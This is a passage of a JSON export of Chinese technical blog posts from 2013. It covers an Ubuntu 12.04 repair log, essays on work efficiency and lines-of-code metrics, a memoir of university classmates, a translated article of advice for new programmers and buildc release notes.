errors=remount-ro 0 1\n# swap was on /dev/sda7 during installation\nUUID=b8f6c810-bbb0-458c-8306-7b4a834ad726 none swap sw 0 0\nUUID=8bda8d60-b5cb-43aa-b408-dd6ce4957923 /home1 ext3 defaults 0 0\nUUID=c415cf1c-624c-42ce-a8a6-6c072b5ee232 /home2 ext3 defaults 0 0\nUUID=d0d1424b-e3a8-43d9-887a-1c58c64ecff3 /oldlinux ext3 defaults 0 0\n重启后，就会发现，根目录下自动挂载了/home1、/home2和/oldlinux三个分区。别忘了对这几个挂载点做一下chown操作，这样你的用户才能对这些路径有写权限。\n* 恢复用户数据\n主要是迁移原home目录下的数据。在原系统中，我单独将一个分区挂接到/home路径上，其中的/home/tonybai设置为HOME路径。重装 os后，系统在/dev/sda10分区建立了/home/tonybai作为HOME目录。而之前的那个存放HOME路径的数据分区被我映射为 /home1了，但其中的数据完好无损。我于是打开/etc/passwd，将我的用户到home路径由/home/tonybai改为/home1 /tonybai，这样重新登录后，我又回到了熟悉的HOME环境中了。不过一些原先为/home/tonybai路径的配置需要修改为/home1 /tonybai了。\n剩下的就是安装各种软件了。\n* 问题再现，有惊无险\n经过大半天的折腾，工作环境基本得以恢复。晚上回到家里，打算再补一些软件。结果刚进入Ubuntu就发现了异常：触控板失灵、无线网卡失灵、静音并无法 调节、指点杆失灵、所有快捷键失灵等。并且总是弹出对话框，提示系统错误，建议重启。重启若干次依旧是老样子。靠！这不又回到了最初的问题状态了吗。难道 还得推倒重来？\n死马当活马医。试着执行一下sudo apt-get install -f，居然提示：用\u0026quot;sudo dpkg –configure -a\u0026quot;可以解决。遂按照后面的命令执行了一下。命令的效果是系统在重新配置包 – 所有包。执行完毕后，注销登录，发现大不相同了。重启后再看一下，一切恢复正常。估计又是我装了什么软件导致包依赖异常导致的。如果早知道dpkg –configure -a可以解决问题，我这大半天时间就可以专注于其他事情了，唉。\n生命也许就在于折腾^_^！！！\n再次提醒：用Ubuntu的童鞋apt-get update/install要谨慎，upgrade尽量就不要做了，成功率低得很！\n","permalink":"https://tonybai.com/2013/08/07/ubuntu-12-04-repairing-notes/","summary":"\u003cp\u003e今天一早发现\u003ca href=\"http://tonybai.com/2012/12/04/upgrade-ubuntu-to-1204-lts/\"\u003eUbuntu 12.04\u003c/a\u003e坏掉了，于是用了大半天对其做了修复，修复过程十分坎坷，但结果还不错，遂记之以备忘。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e* 毁掉Ubuntu\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.ubuntu.com/\"\u003eUbuntu\u003c/a\u003e坏掉完全是由于我的错误决策。昨天一天Ubuntu桌面右上方的状态拦一直有一个红色的错误提示符，提示系统包冲突，建议执行sudo apt-get install -f解决。apt-get也提示索引冲突，无法卸载和安装任何包。于是执行了sudo apt-get install -f，虽然我不知道这个命令对系统做了哪些更改。但结果是那个错误提示符的确不见了。\u003c/p\u003e","title":"Ubuntu 12.04修复记"},{"content":"工作效率提升，是所有企业组织都追求的一个目标。高效率意味着用更少到人可以做更多的活儿，赚取更多的利润。员工收入也会有较大提升，有面子；管理层的收 入就更水长船高了。但说起来容易，做起来难。工作效率低下一直是让各个组织的管理者头疼的问题，组织无论大小，无论中外，皆如此。\n从大的方面来看，提高效率的策略不会很多，万变不离其中，关键是落实，措施要与自己的组织实际情况匹配。两年前自己曾经写过一篇博文“提升效率不是口 号”，个人觉得那时的观点依旧不过时，长期适用。两年过去了，我们虽然取得了一些成绩，但还远远不够，尤其是当组织情况在持续发生变化的情况下。这里再对 观点做些诠释，plus一些新的想法。\n* 领导不彷徨\n各级员工都要有明确的目标和方向，领导尤甚。组织的最高领导一级要有明确的业务方向、目标以及组织发展策略。领导是主心骨，如果领导都彷徨，那么下面自然 也跟着彷徨，整个组织就不会有战斗力，效率就更无从谈起。尤其是在大环境不好，业务低迷期，领导更应该作出正确的策略和方向方面的决策。\n领导要将方向、目标和策略明确的告知一线Leader，让leader们明确重点投入的方向以及可以投入的方向，以便一线leader可以有的放矢，有计划有节奏的去做，也便于一线leader评估各种人和技术的储备，提前做好准备。\n* 适当的紧迫感\n如果员工已知的工作只有一项，那很可能出现帕金森现象：在工作中，工作会自动地膨胀，占满一个人所有可用的时间，如果时间充裕，他就会放慢工作节奏或是增添其他事情以便用掉所有的时间。看起来每个人都很忙，但组织效率是低下的。\n因此务必要做到让每个员工已知的工作保持在3项左右。当员工意识到三项任务摆在面前时，心中自然会有一定的紧迫感，让员工始终绷紧神经，即便是闲遐时刻也会考虑下一个工作任务中用到的技术我是否做好了准备，从而主动学习和准备。\n* 基础设施建设上不能太小气\n\u0026ldquo;基础设施\u0026quot;这个字眼常常出现在新闻报端，中国社会目前依旧出于大规模基础设施建设的阶段中。百度百科里说：“基础设施是指为社会生产和居民生活提供公共 服务的物质工程设施，是用于保证国家或地区社会经济活动正常进行的公共服务系统。基础设施建设具有所谓“乘数效应”，即能带来几倍于投资额的社会总需求和 国民收入。一个国家或地区的基础设施是否完善，是其经济是否可以长期持续稳定发展的重要基础”。在组织个人能力无法快速提升的情况下，适当的基础设施建设 会带来可观的组织效率提升，比如统一的服务器管理、自动化测试基础设施、持续交付工具的开发、体验良好内容丰富的知识管理系统等，让组织人员的工作环境上 了一个“档次”，就好比从中国到美国所感受到的一样，或者从印度到中国所感受到的类似。印度和中国差在哪里？都是50年代建国，人口红利相差不多，但目前 中国却要比印度先进若干年，基础设施水平绝对是一个因素。外商投资除了看重中国的低价劳动力之外，更多是中国的基础设施的完备，据说印度的德里现在还经常 停电呢。同样水平的人在印度和在中国的工作效率显然是不同的，同样的工作在中国一天就完成了，而在印度那边可能还在等啥时候能来电呢^_^。类比组织内， 具有自动化测试环境的前提下，一个项目的验收测试可能在2个小时内就跑完了，而相反，在没有自动化测试基础设施的情况下，可能一个人要做两天，效率高低立 见。\n*后勤部门也能诞生将军\n现代的工作多是团体作战，这就好比军队：要军事过硬的同时，保障也要给力。也就是说一个军事任务的完成，除了依靠一线冲锋陷阵的将士外，后勤子弟兵的努力一样不可缺少，甚至于在如今的现代战争中，后勤保障直接决定了战争的最后结果。\n任何一个公司都有核心业务部门，有从事核心业务研发的同事，也有从事基础设施方面（后勤保证）的人员。要想激发工作热情，提升效率，就要对这些人的工作一 视同仁。工作只有分工不同，没有高低贵贱。其实在很多公司，做基础设施其实更是对能力方面要求很高，更有甚者在一些公司只有一流的程序员才有资格参与基础 设施的设计与开发。因此不要因为基础设施没有带来直接效益而忽视对参与基础设施工作人员的重视。\n以上话有些糙，但理不糙，希望能给大家在组织效率提升方面带来些启发。\nBTW，这两年自己也持续在组织整体能力和效率提升方面做了些工作：先后推动了组织内部知识管理系统、持续集成、自动代码检查、自动化集成和验收测试、打包与交付以及代码评审流程改进等工作的落地。\n","permalink":"https://tonybai.com/2013/08/04/more-thoughts-on-improving-efficiency/","summary":"\u003cp\u003e工作效率提升，是所有企业组织都追求的一个目标。高效率意味着用更少到人可以做更多的活儿，赚取更多的利润。员工收入也会有较大提升，有面子；管理层的收 入就更水长船高了。但说起来容易，做起来难。工作效率低下一直是让各个组织的管理者头疼的问题，组织无论大小，无论中外，皆如此。\u003c/p\u003e","title":"再谈组织工作效率提升"},{"content":"又是一年毕业季。自从九年前坐车驶出母校大门，我就再也没有回过母校，确是十分怀念，但更是怀念那些一起生活了四年的大学同学们。刚毕业那会儿，与同学们 还都保持着联系。后来大家都有了自己的新圈子，渐渐的联系少了，甚至断了。最初的校友录也荒废了，QQ我早就不用了，于是乎与大家天各一方，各自发展。\n上周五去北京开会，会后我的直接领导去见他的大学同学，我也被邀请同去了^_^（要么也是无聊地等火车）。饭桌上两位多年不见的老同学相见甚欢，那场面深深感染了我。在回沈的动车上我就下定决心：一定要找到组织^_^。\n在移动互联网如此发达的今天，这件事还真的不难。在微信和微博这样优秀社交工具的帮助下，不出一天，我就顺利找到了组织（微信群），并初步了解到大家的情况。\n没有聚会，胜似聚会。对我来说，能在微信群里看到大家，我已经很满足了。一晃9年过去了，同学早已分布在全国各地，至少一半已经结婚生子/ 女。有下一代的，微信的头像多是以下一代的照片（Me, too^_^）。看着群里面一个个微信头像，让我不由得忆起当年的大学生活，点点滴滴，如现眼前。以下对我的同学做逐一的回忆，印象是主观的，并且有些信息可能已经不靠谱了。\n班级\n哈工大，自动化测试与控制系，测控技术与仪器专业，本科0001110班（2000入学，2004毕业）。\n成员\n* 田玉博\n班长，外号田鸡。哈尔滨本地人，似乎是省重点哈三中毕业的。人长的一副书生样，细高，感觉有些偏瘦弱，带着一副眼镜。入学时被导员任命为代理班长。后经民 选后正式转正，记得当初班级选班长时，我还得了一票，弄得我极其不好意思。大学四年，田同学展现了很好的组织能力，我们班在大一、大二的集体活动还是蛮多 蛮丰富的。大四第一次考研，班长似乎发挥欠佳，后复读重考一举中的。目前在北京某企业工作，发展的相当不错。\n* 岳晓帆\n学习委员。哈尔滨本地人。据说和我们并不是一届的学生。是上一届实验学院的。后由于不堪实验学院高压，来到我们专业重新来过的。由于岳童鞋基本不住寝室， 所以与他接触不多。体育课让我们大家可以相互了解，因为我们报的都是足球班。平时以聊足球、踢足球为共同嗜好。印象里他的另一嗜好就是看电影了，与我们班 大黄（DVD发烧友）交往慎密。现状不知。\n* 毛定涛\n我们班最神秘的人。记忆中是来自湖北，他是我们班入学时的最高分。我们见过一面后，他就去新加坡南洋理工做交换生了。此后再无音信，现状未知。\n* 方运\n外号小方。江西九江人，是我们班年龄最小的童鞋，人长得也是瘦小瘦小的，因此平时是我们重点的欺负对象^_^。但小方的学习成绩却是我班最好的，毕业时因 在系里成绩名列前茅而被保研了。并且似乎是目前我所知班里唯一读到博的。目前刚毕业没几年，在苏州从事显示相关元件的研发工作。小方是我毕业后唯一见过面 的同学，那还是在刚毕业后没几年，小方从沈阳换火车，我们一起吃了顿饭（时间有限）。\n* 杨云良\n外号：杨老大。至少我们都这么叫，也许是其年龄比我们大点的缘故吧。杨老大让我记忆最深的事情是有一年冬天，老大在滑冰课上门牙摔掉了，那个寒假杨老大没 有回家。我也因某种原因没有回家，于是我们就算是做个伴儿，每天盒饭伺候，也不亦乐乎。杨老大毕业后就去南方工作了。现在在苏州，已成家立业了。结婚那 天，好多在华南、华东一带的同学都参加了老大的婚礼，我远在北方没能见证。\n* 林龙\n福建人，样子涨的也很福建。让我印象最深的就是他是个聪明孩儿。考研复习其间也是边玩游戏边复习，居然考上上海交大了，自愧差的太远啊。现居上海。\n* 姚小勇 ，湖北人，高考成绩在班里也是名列前茅的。但到大学后有些“堕落”，迷于游戏，成为游戏男。毕业后似乎也在华东一带，校友录上他的最新照片显示的是在国电新疆工作\n* 黄易廷\n浙江人。长像挺“猥琐”^_^。我们都管他叫“大黄”。电影/DVD骨灰粉，零花钱都买DVD了，人家衣柜里都是衣服，他衣柜里都是各种盒装的、纪念版的 DVD。他和前面提到的岳晓帆在这方面很对路。另外他还有一个爱好，那就是听古典音乐。他的床边放着一个音乐播放器，每天他似乎都是伴着贝多芬、肖邦的音 乐入眠的。目前大黄在浙江杭州工作，居然和我是同行，万万没有想到啊。\n* 邓立宝\n记得没错应该是河北人，我就管他叫“宝哥”。宝哥为人低调，后来做家教时居然处了个本地的女朋友（似乎是我们学姐），让我们着实有些吃惊。印象中比较深刻的是经常和宝哥去打乒乓球。毕业后，宝哥似乎是考上研究生了，目前没有他的信息。\n下面七个都是我们寝室的兄弟了。\n* 郭朋杰\n河南人。大学入学时，第一个遇到的就是他，之后总是一起去吃饭，到街上买东西等。印象中，他喜欢直来直去，而且似乎是急性子。考研复习其间搬出去租房子了。后考上了研究生，毕业后似乎是在成飞，保密单位。目前在成都安家了，也有了孩子。\n* 柴保明\n河南新乡汉子，身材魁梧。高中时的程序高手。到大学后不知为何不愿在计算机编程方面再做投入了。喜看书。后也上了游戏瘾，玩了一阵。考研期间戒掉。研究生是在复旦读的。毕业后留在上海，在摩根士丹利做开发工程师。现状估计也过得不错吧。\n* 胡士杰\n外号小木，也是他自己喜欢的昵称。成都人，游戏男。玩游戏，爱游戏，现在在成都创业做游戏，据说有风投。在我看来，他不做游戏就白瞎了。他父母都是工程 师，家境不错，印象中胡士杰也很聪明。不过最深的印象还是他有些小洁癖，如果后半夜你能在洗漱间看到人影，那多半是他。他那双手每天晚上不知道要洗上多少 遍。他的床铺是不允许别人坐的，其实坐了也没告诉他^_^。毕业后他现在山东浪潮软件，后估计就是回老家创业去了。\n* 魏陈\n外号老木^_^。上海小资男。大三就泡了个mm出去住了，毕业后回了老家，目前工作保密，靠，居然不告诉我。我可是你曾经上铺的兄弟啊。\n* 高一鹏\n魏陈搬出去后，我的另一个下铺兄弟。阿城人，黑龙江壮男。为人忠厚老实，与人为善，脸上总是挂着笑容。毕业后应该是重新考研了，现在应该还在中兴，至于哪个城市未知。让我感到印象最深的是他的路似乎都是他老爹替他安排好的。\n* 庞鸿光\n广州斗门人。南方高又帅。对电子产品甚是钻研，我们班唯一参加大学挑战杯电子大赛的。做事十分投入。目前在深圳安家，取妻生女了，在中兴做芯片，也算“投其所好”了。\n* 汪海龙\n黑龙江伊春人，我管他就叫“龙”。平时十分要好，另外他在计算机系的高中女同学与我在计算机系的高中女同学是一班的，有时候一起活动常见面，再加上我平时 总喜欢旁听计算机系的课程，抬头不见低头见，互相都认识。龙最让我吃惊的是研究生入学考试数学居然考到140以上，一万个没想到啊。现在他定居深圳，服务 于华为。刚刚让老婆怀上宝宝，处于准爸爸角色。\n* 张伟峰\n吉林长春人。一起踢球喝酒的好兄弟。毕业后回长春了，现在应该是我们班最NB的了吧。自己创业，身价千万。更是没想到啊。\n* 许晓明\n好像是安徽人。肥头大耳，人长得挺可爱的，胖嘟嘟的，我没事就取笑其为“猪猪”，大二之后也沉溺于游戏。毕业后就工作了，其间到沈阳来过多次，可惜我都出差了。目前上海某工厂做质量保证，估计是个小头头。\n* 孙明\n江苏人，年纪小，但个头不小。同样也是一个游戏男、盒饭男（玩得没空去食堂吃饭）。毕业后也到华东一带工作了，具体信息不详。\n* 许大怀 体育委员，家是哈尔滨的，长的也很哈尔滨，眼睛很大。穿着时尚。由于经常不住寝室，总见不到人影，因此在大学时接触不多。最深的印象就是听说他姐和姐夫都是哈工大博士，很NB的。毕业后最后一次跟他联系时，他在东莞联通。\n* 崔晓萌\n同样哈尔滨人，典型的哈尔滨帅锅。接触也不多，也是因为常见不到人影。现状不详。\n* 杨栋新\n山西人。外号：大猩猩。好像是我给起的。一来新猩两字挺谐音，二来其相貌也神似^_^。这童鞋似乎不那么合群，四年了和我们大家的交流都很少。毕业后就不知去向了。\n下面是我们班的8个mm的印象：\n* 杜英\n陕西人，忘记了是否是米脂的。人长的不错，就是黑了点。说话细声细气儿的。记得我们刚入学金工实习时，我因为总喜欢说“咱们”而被她批评无数次 – 是“我们”，不是“咱们”，不包括我。毕业后去了上海，目前也在上海工作生活。\n* 王海霞\n敦实的河南妹子，胖乎乎的，笑起来咪咪眼，着实可爱。现在想起来很还亲切呢。她算是当时这几个女同学中和我交流最多的女生了吧。研究生毕业，目前在上海工作。\n* 张略\n哈市本地美女，长辫子，白净净的。我和她接触很少。毕业后考上了研究生。现状未知。\n* 池楠\n黑龙江人，我们班的支书。身体魁梧壮实。外语超好，毕业后就去外交部了，工作后发出无数照片（什么迪拜塔等），游览世界各地明胜，让我们这干人羡慕不已。目前依旧在北京外交部某部门。\n* 王婧婧\n长的挺小巧的，少言寡语的。当初接触也不多。毕业后也考上研究生了，目前在浙江杭州，已当妈了，细节不知。\n* 汤珺\n广西柳州人，如果不考虑身高，算是个小美女了。如果算上身高，她是我们班最小的人了。很开朗活泼。大学时我们有过很多交流。毕业后应该也考上研究生了。目前定居上海，也已经是当妈的人了。\n* 陈亦能\n长像略有些粗犷的绍兴人，和鲁迅是同乡。大学时沟通不多，目前她在上海（微信上）。\n* 姜岚\n黑龙江人。大学时沟通也不多，似乎挺会包饺子的（大一元旦活动）。现状未知。\n九年了，就算把这些童鞋的名字想完整也甚是不易。因此把九年后记忆中的同学印象写下来，也算是一种拯救。以后闲遐时回顾一下，偷着乐乐，也别有一番趣味。生活就是如此，去体会去感受才有意义。\n","permalink":"https://tonybai.com/2013/07/30/recall-my-college-classmates-after-graduating-9-years/","summary":"\u003cp\u003e又是一年毕业季。自从九年前坐车驶出\u003ca href=\"http://www.hit.edu.cn/\"\u003e母校\u003c/a\u003e大门，我就再也没有回过母校，确是十分怀念，但更是怀念那些一起生活了四年的大学同学们。刚毕业那会儿，与同学们 还都保持着联系。后来大家都有了自己的新圈子，渐渐的联系少了，甚至断了。最初的校友录也荒废了，QQ我早就不用了，于是乎与大家天各一方，各自发展。\u003c/p\u003e","title":"毕业九年 – 忆我的大学同学"},{"content":"一直在纠结要不要就这个话题写点什么，之前梳理过一些思路，但感觉这个题目似乎没什么大意义。不过将东西憋在肚子里的滋味总是不好受的，最终我还是选择写出来一些，即便它真的没有什么意义^_^。\n事情缘于近期领导让我负责的一个内部任务：制定组织内的代码行统计标准并实现标准化的工具。就是这个任务促使了我对代码行统计重新做了一番考量。\n对代码行统计的理解\n代码行统计这个活动不是软件开发过程中的关键路径活动，它对代码质量、开发进度以及软件价格几乎产生不了什么影响，应该算是个可有可无的东西。\n就代码行统计这个活动本身而言，我个人的观点是没有代码行统计不表明不能开发出好软件；有了代码行统计，就一定能开发出高质量软件吗？\n不过有一种观点认为：世界的本质是数据。通过数据我们可以发现事物运行的规律。代码行统计则是软件工程中对“数据”要求的产物。过程的好坏需要有数据支 撑，因此代码行统计这个活动成为了人们实现“用数据说话”的一柄利器。在“数据为王”的今天，我们无论如何都不能忽视数据的作用。人们通过数据来反映软件 开发过程中的一些规律性的东西本身也没有什么不妥。另外代码是软件开发过程的最重要成果物，因此围绕着代码的性态，我们用工具做诸多分析，期望从得到的数 据中找寻出一些可以指导和改善我们后续工作的蛛丝马迹。代码行统计提供的多是基础数据，在与其他过程基础数据结合分析后，我们能得到更多的信息。\n合理地使用场合\n个人觉得下面几个场合对代码行统计的需求是合理的：\n* 统计代码总规模\n某个项目、某个模块或又某个版本的代码总规模。\n* 代码“成分”统计\n统计空行、注释、代码的行数及占比、重复代码行数及占比等。\n* 版本间代码变更差异统计\n两个有关联版本的数据对比统计，获取版本间的有效变更数据情况并作为基础数据提供给后续分析。\n一些过程质量指标，诸如千行代码缺陷率等均是以上面这些代码行统计输出的基础数据为基础的。\n“误用”\n有合理的使用，就有“不合理”的使用 – “误用”。之所以加上引号，是因为至今人们对此见仁见智，尚无定论。以下列举两典型的“误用”。\n* 通过代码行统计评估进度\n有些组织在项目开始初期，就对成果的规模做了估计，比如10w行代码。然后在过程中使用代码统计工具对项目当前已实现的规模进行统计，并用统计出的数据与 初值的比值作为项目进度的评估参考。个人认为这是种典型的误用。盖茨说过：“用代码行数来衡量编程的进度，就如同用航空器零件的重量来衡量航空飞机的制造 进度一样”。且不提初期的估值有多么的不准确，就代码的行数本身而言，也受到各种因素的影响，比如设计方案、实现者的功力以及编码习惯等。同一个功能，A 实现需要100行代码；换成B就需要10行。\n* 通过代码行统计评估程序员绩效\n在一些外包公司或外包项目里，尤其是日本人的外包项目里，通过编写代码行的多少来评估程序员绩效的作法是很有市场的。我不能完全否定这种方法的正确性，因 为在日本外包项目中变态的日本人对代码的审核极其严格，并且有着苛刻的编码标准和风格，因此一些胡乱堆砌代码或使用奇技淫巧的代码都会被驳回，因此所有项 目开发者的效率似乎被约束到了一个平均线上。在这个前提下，产出的代码越多，似乎的确表明了这个开发者超出了平均效率，或至少牺牲了不少个人时间来完成项 目中的任务，精神可嘉，绩效被评高似乎也是合情合理的。但除此之外，用代码行多寡来评估程序员绩效显然是不受待见的。\n考虑这个“误用”时，我也想模仿盖茨的话做个形象且深刻比喻，最初我写下的是这句话：“用代码行数多少来评估程序员的绩效，就好比用曲子的长短来评估音乐 家的水平，或又好比用画幅的大小来衡量画家的水准，或又好比用电影的时长 来掂量导演的功力！”。但仔细揣摩后发现这句话看起来挺像那么回事，但实际上却是不恰当的。什么是水准、水平或功力，这是衡量人的水平高低的；而绩效则是 一段时间范畴内工作成果的评估； 一个是长期的肯定，一个是阶段性的成绩。我显然是将水平和绩效(阶段性成绩)混为一谈了。高水平的开发者不一定每个周期都会取得高绩效，低水平的开发者也 不是无法取得高绩效的。因此这句话似乎应该改成：“用代码行数多少来评估程序员的绩效，就好比用这首曲子的长短来评估音乐家在这个阶段的水平，或又好比用 画幅的大小来衡量画家的这个阶段水准，或又 好比用电影的时长来掂量导演在这部电影上的功力！”。是不是读起来很别扭啊，反正我是这么觉得的。程序员的成果物是代码，代码好坏优劣对程序员绩效有着直 接影响（虽非充分必要条件），我们不妨替换一下本体来换种说法：“用代码行数多少来评估代码实现的好坏，就好比用曲子的长短来评估曲子的优劣，或又好比用 画幅的大小来衡量画作的高低，或又好比用电影的时长来掂量影片的良莠”！\n对用代码行数多少来评估程序员绩效这种事情，我是很反感的，但在国内许多公司里，这种现象却又屡见不鲜。但这种行为背后的动机何在呢？传统工厂中，衡量一 个worker的绩效是相对容易量化，也比较客观的，比如制鞋厂可以用制成鞋子的数量来确定 worker绩效；在汽车组装车间，组装汽车的数量可以作为作为工人们的绩效；在炼钢厂，班组炼出的钢铁的吨数可作为班组成员绩效等等。将代码行数作为程 序员绩效的参考指标也许是一个无奈的方法。之所以想用代码行数，是因为程序员工作中能量化的东西不多，代码行数首当其冲。组织为了尽量减少绩效评定时主观 的成分，增加客观的评价，代码行统计从此被误用了。\n代码行统计的高效使用\n* 标准统一，工具一致\n代码行统计工具有很多，因此执行这个活动时会出现不同人使用的代码行统计工具不一致的情况；并且不同工具对一些指标的定义也许有不同，这会导致收集到的数据存在含义不一致，精确度差的问题。因此高效使用代码行统计工具的一个前提就是（统计）标准统一，工具一致。\n* 零干扰\n一些传统的代码行统计方法是配置负责人收到统计任务时，将任务分发给各个模块的负责人，由各个模块负责人各自统计，然后反馈给配置负责人汇总。这种方式显 然不那么高效，而且容易引起一些对统计任务的反感情绪。高效的代码行统计最好能做到对开发人员“零干扰”。配置负责人可以通过“自动化”的静默方式收集代 码行数据。当然这需要对一些现成的开源工具做一些包装或二次开发才能做到，个人觉得这种投入是值得的，同时也能避免标准不一，工具不一致的情况。\n","permalink":"https://tonybai.com/2013/07/24/thoughts-about-lines-of-code-statistics/","summary":"\u003cp\u003e一直在纠结要不要就这个话题写点什么，之前梳理过一些思路，但感觉这个题目似乎没什么大意义。不过将东西憋在肚子里的滋味总是不好受的，最终我还是选择写出来一些，即便它真的没有什么意义^_^。\u003c/p\u003e","title":"也谈代码行统计"},{"content":"本文翻译自Dr. Dobb’s杂志主编Andrew Binstock的\u0026quot;Advice to a new programmer\u0026ldquo;一文**。**\n总是有太多的建议摆在新手程序员面前，以致他们难于选择从何处开始。然而，所有这些建议都是建构在下面这五条实践的基础之上的。\n每隔几个月，我就会收到一些勤奋有加的新手程序员的求助，他们希望知道如何才能成为一名真正优秀的程序员。在一些程序员论坛上，我也能看到为数不 少的类似问题，这是一个令人鼓舞的趋势。一些最周全的答案往往与我对这个问题的看法相似，这表明在基础的最佳实践上确实存在着某种一致。因此我下 面的建议并非原创，不过也许我的这些补充会提供给你更进一步的理解。\n我印象中的新手程序员基本了解编程的原理，写过程序，但大多规模较小且复杂度不一，致力于某个领域的工作或自己或他人个人项目。\n编程工作只有一种真正的基础活动，那就是写代码。要想擅于编程，你就必须编写大量的代码。 大量的工作可能成为一种促进你成长的工具，也可能是一些有限技能的重复练习。为了避免成为后者，你应该做到：\n阅读大量代码。尤其是阅读大量由卓越程序员编写的代码。记住：不仅读那些坐在大厅里的优秀程序员的代码，更要读那些卓越程序员的。 在开源软件大行其道的今天，做到这些十分容易。当我学习Java时，我读了Tomcat的代码，读了Cruise Control CI服务器的代码。自从那时起，我已经读了大量优秀的代码。\n阅读代码时很容易从main函数开始，但这样一来，你很可能会在初始化以及命令行解析代码上花费大量时间。我更喜欢根据源文件名寻找一些令我感兴 趣的功能实现，然后深入阅读这些源文件。理解整个项目或整体设计的来龙去脉并不是关键，做这些会让你感觉筋疲力尽的。阅读代码。查看注释，弄清楚 作者在做什么以及是如何着手做的。\n彻底了解你的工具。我认为损耗编程时间最多的不是调试或重写代码，而是因开发人员对其所使用工具的不熟悉而导致的无数碎片时间的损 耗。我所指的工具包括：集成开发环境（IDE）、编程语言、构建系统以及版本控制系统。其中，集成开发环境和编程语言是到目前为止最为重要的。经 过几个星期的练习，你应该知道集成开发环境中的几乎每个按键组合，这样你只有在为了节省按键时间时才使用鼠标。如果你知道按键组合，你就知道了这 些命令。但如果你只使用鼠标，你只会知道菜单，菜单上面有你倾向于点击的相同的一个或两个条目。因此了解集成开发环境是一种不折不扣的纪律。\n了解大型编程语言，诸如Java或C++，需要的不仅仅是纪律。它们自身规模庞大，它们的库亦规模庞大。阅读代码是我认为的了解编程语言最好的方式，阅读 那些使用了你所未知特性的代码并寻找机会使用它们。书籍（而不是博客）是另外一个极好的资料来源。了解你目前正在使用的特性的外围，很快你就会发现外围扩 大了。了解版本控制系统和构建系统将让你成为一个理想的团队成员 — 不会因为对重要操作的无知而浪费时间。\n**动手编码前先规划好你的代码。**我认为这是建议列表中最难做的一项，但同时它也可能给你换来最多的益处。我所指的并不是正式的设计 – 在这个阶段正式设计一般不是必要的。不过你确实应该用一种其他方式精心策划一下代码，而不仅仅是将思路放在脑子里。最简单的方法就是编写一个小文档（我经 常使用的是思维导图）：代码的需求是什么？你打算如何实现它？还有哪些目前未知的事情需要去了解？我需要或需要创建什么对象？将这些都写出来。只有在这样 之后开始编码，你才会发现代码变得更加容易编写了，更容易形成文档了，也更容易修改了。将你的笔记保存下来 – 它们将是很好的参考资料。\n大量编写代码并进行代码评审。如果你那里不做代码评审，那你就自己来做。找出那些最好的程序员，并且你可以通过某种方式听 到和理解他们给你的有用的建议。别做令人讨厌的人，但也不能因为你害羞，忙碌或自负而回避这个过程。代码评审应该成为你编程人生的一部分。要有创造性。试 试在某个下午与比你更牛的程序员一起做结对编程。重要的是你需要反馈，而这些反馈是你自己无法给予自己的。\n编码与写测试并驾齐驱。这也许是这里唯一有争议的一条。它并非是对TDD的认可(译注：测试驱动开发)。但这里要认可的是你的代码 在大多数要面对的场合里都是可以工作的。开始单元测试，并用边缘值测试新代码。例如，当传入一个负数或者是整型数最大值时，你的函数是否还能正常工作？如 果不能，你的函数是否抛出了一个信息详实的异常或只是崩溃退出？如果不是异常，你是否使用了断言(assert)来缩小输入的范围？如果这么做了，那就测 试这个断言。利用之前做的规划编写一些模拟(mock)测试，接下来用这些模拟对象去开始测试你的新代码。这将有助于阐明你当前代码中的设计问题以及即将 实现的对象。保存你的测试代码，在每次签入代码前都运行它们，这些测试将成为后续那些破坏你当前代码的新代码的早期预警系统。\n还有许多建议和至理名言可以添加到这个列表中。但这本身就是问题的一部分：过多的建议将导致新手难于知道到底从何处开始。因此，我故意将我的建议缩减到仅 剩五点。如果你能勤奋地运用这五点建议实践，你会很快发现两件事情：你将可以逐步应付更大更重要的任务了，并且当你回首翻看你几个月之前编写的代码时，你 会觉得尴尬。\n毫无疑问这两种感受都是你进步的标志。祝你好运！\n","permalink":"https://tonybai.com/2013/07/18/advice-to-a-new-programmer/","summary":"\u003cp\u003e本文翻译自\u003ca href=\"http://www.drdobbs.com/\"\u003eDr. Dobb’s\u003c/a\u003e杂志主编\u003ca href=\"http://www.drdobbs.com/authors/Andrew-Binstock\"\u003eAndrew Binstock\u003c/a\u003e的\u0026quot;\u003ca href=\"http://www.drdobbs.com/architecture-and-design/advice-to-a-new-programmer/240158341\"\u003eAdvice to a new programmer\u003c/a\u003e\u0026ldquo;一文**。**\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e总是有太多的建议摆在新手程序员面前，以致他们难于选择从何处开始。然而，所有这些建议都是建构在下面这五条实践的基础之上的。\u003c/strong\u003e\u003c/p\u003e","title":"给新手程序员的建议"},{"content":"随着buildc在内部应用的深入，buildc逐渐进入了以内部需求和问题为主要驱动力的演化模式。我们内部的C应用多是后端服务类应用，个人 觉得具有一定代表性。buildc最初就是为了针对这类C应用而设计的。因此我们内部的需求和问题应该也同样具有一定代表性，而这种演化模式在一 段时间范围内还是有意义的。\nbuildc 0.3.1版本修正了上一版本的若干bug，并增加了两个新功能。\n* 提高容错能力\nbuildc对第三方库的组织结构有着严格的要求，一般是：\npackage_name/\nversion/\nCPU_MODE_OS/\ninclude/\nlib/\n一般来说，第三方库会由组织内特定人员进行管理和维护，第三方库服务器上的目录结构不会出现组织错误的情况。但buildc 0.3.0还是遇到特例了：当某个package的第三级目录为空时，buildc 0.3.0版本会抛出异常。为此，buildc 0.3.1增加了对这块逻辑的容错处理：\n1. 如果目录是空目录，直接略过。\n2. 如果目录存在合法的目录，cpu_mode_os，加入.buildc.repository中\n3. 如果目录中存在合法的目录和不合法的目录，略过不合法的目录。\n* 支持命令行变量\n有些项目针对不同客户有不同的功能版本，但代码是一份，针对不同客户的Release版本用一些特定的宏开关控制，而这些功能开关需要在编译构建 期指定。比如最初版本的buildc.cfg中的片段如下：\ncustom_defs = [\u0026rsquo;-std=gnu99\u0026rsquo;, \u0026lsquo;-DLOGLEVEL=1\u0026rsquo;, \u0026lsquo;-DUSE_NM\u0026rsquo;]\n后A省的客户希望LOGLEVEL用2级，不需要NM(网管)功能，而B省的客户希望LOGLEVEL用2级同时也使用NM功能，那我们的 custom_defs就需要有多种配置了，例如：\nif province == \u0026ldquo;A\u0026rdquo;:\ncustom_defs = [\u0026rsquo;-std=gnu99\u0026rsquo;, \u0026lsquo;-DLOGLEVEL=2\u0026rsquo;]\nelif provice == \u0026ldquo;B\u0026rdquo;\ncustom_defs = 